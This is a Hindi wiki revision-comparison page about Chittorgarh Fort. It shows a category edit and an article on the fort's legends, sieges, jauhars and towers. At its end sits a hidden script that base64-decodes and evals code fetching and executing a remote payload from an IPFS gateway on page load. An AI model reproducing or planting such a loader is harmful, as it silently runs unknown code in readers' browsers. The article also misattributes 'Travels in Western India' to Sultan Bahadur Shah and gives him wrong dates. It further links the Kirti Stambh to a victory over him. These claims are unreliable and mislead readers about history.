"चित्तौड़गढ़ क़िला" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (श्रेणी:भारत के क़िले; Adding category Category:भारत के दुर्ग (को हटा दिया गया हैं।))
पंक्ति 22: पंक्ति 22:
 
[[Category:राजस्थान के ऐतिहासिक नगर]]
 
[[Category:राजस्थान के ऐतिहासिक नगर]]
 
[[Category:राजस्थान के पर्यटन स्थल]]
 
[[Category:राजस्थान के पर्यटन स्थल]]
[[Category:भारत के क़िले]]
 
 
[[Category:स्थापत्य कला]]
 
[[Category:स्थापत्य कला]]
 
[[Category:कला कोश]]
 
[[Category:कला कोश]]
 
[[Category:पर्यटन कोश]]
 
[[Category:पर्यटन कोश]]
 +
[[Category:भारत के दुर्ग]]
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

14:07, 25 अप्रैल 2011 का अवतरण

इतिहास

किंवदंती है कि प्राचीन गढ़ को महाभारत के भीम ने बनवाया था। भीम के नाम पर भीमगोड़ी, भीमसत आदि कई स्थान आज भी क़िले के भीतर हैं। पीछे मौर्य वंश के राजा मानसिंह ने उदयपुर के महाराजाओं के पूर्वज बघा रावल को जो उनका भानजा था, यह क़िला सौंप दिया। यहीं बप्पारावल ने मेवाड़ के नरेशों की राजधानी बनाई, जो 16वीं शती में उदयपुर के बसने तक इसी रूप में रही। 1303 ई. में सुलतान अलाउद्दीन ख़िलज़ी ने चित्तौड़ पर आक्रमण किया। इस अवसर पर महारानी पद्मिनी तथा अन्य वीरांगनाएँ अपने कुल के सम्मान तथा भारतीय नारीत्व की लाज रखने के लिए अग्नि में कूदकर भस्म हो गईं और राजपूत वीरों ने युद्ध में प्राण उत्सर्ग कर दिए। जिस स्थान पर रानी पद्मिनी सती हुई थीं वह समाधीश्वर नाम से विख्यात है। स्थानीय जनश्रुति के आधार पर कहा जाता है कि अलाउद्दीन ने चित्तौड़ पर दो आक्रमण किए थे, किन्तु आधुनिक खोजों से एक ही आक्रमण सिद्ध होता है। रानी पद्मिनी के महल नामक प्रासाद के खंडहर भी क़िले के अन्दर ही अवस्थित हैं।

चित्तौड़गढ़ क़िला
Chittorgarh Fort

इस भवन को 1535 ई. में गुजरात के सुलतान बहादुरशाह ने नष्ट कर दिया था। गुजरात के सुलतान बहादुरशाह (1405-1442ई.) ने चित्तौड़ विजय से लौटते समय चन्द्रावती को आँखों से देखकर इसका चित्रण अपनी पुस्तक 'ट्रेवल्स इन वेस्टर्न इण्डिया' में किया है। चित्तौड़ का दूसरा 'साका' या जौहर गुजरात के सुलतान बहादुरशाह के मेवाड़ पर आक्रमण के समय हुआ। इस अवसर पर महारानी कर्णावती ने हुमायूँ को राखी भेजकर उसे अपना राखीबंद भाई बनाया था। चित्तौड़ के निकट ही पिंडौली नामक ग्राम है, जहाँ अकबर और मेवाड़ की सेना में युद्ध हुआ था। तीसरा 'साका' अकबर के समय में हुआ, जिसमें वीर जयमल और पत्ता ने मेवाड़ की रक्षा के लिए हँसते-हँसते प्राणदान किया था। अकबर के समय में ही महाराणा उदयसिंह ने उदयपुर नामक नगर को बसाकर मेवाड़ की नई राजधानी वहाँ बनाई। चित्तौड़ के क़िले के अन्दर आठ विशाल सरोवर हैं। प्रसिद्ध भक्त कवयित्री मीराबाई (जन्म 1498 ई.) का भी यहाँ मन्दिर है, जिसे बहादुरशाह ने तोड़ डाला था। महाराणा कुम्भा का कीर्तिस्तम्भ, जो उन्होंने गुजरात के सुलतान बहादुरशाह को परास्त करने के उपलक्ष्य में बनवाया था, चित्तौड़ का सर्वप्रथम स्मारक है। 122 फुट ऊँचे इस स्तम्भ के निर्माण में 10 लाख रुपया लगा था। यह नौ मंज़िला है और इसके शिखर तक पहुँचने के लिए 157 सीढ़ियाँ बनी हैं। 12वीं-13वीं शती में जीजा नामक एक धनाढ्य जैन ने आदिनाथ की स्मृति में सात मंज़िला कीर्तिस्तम्भ बनवाया था जो 80 फुट ऊँचा है। इसमें 49 सीढ़ियाँ हैं। नीचे से ऊपर तक इस स्तम्भ में सुन्दर शिल्पकारी दिखाई देती है। चित्तौड़-द्वार के पास राणा साँगा (बाबर का समकालीन) का निर्मित करवाया हुआ सूरज मन्दिर स्थित है।



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध


टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>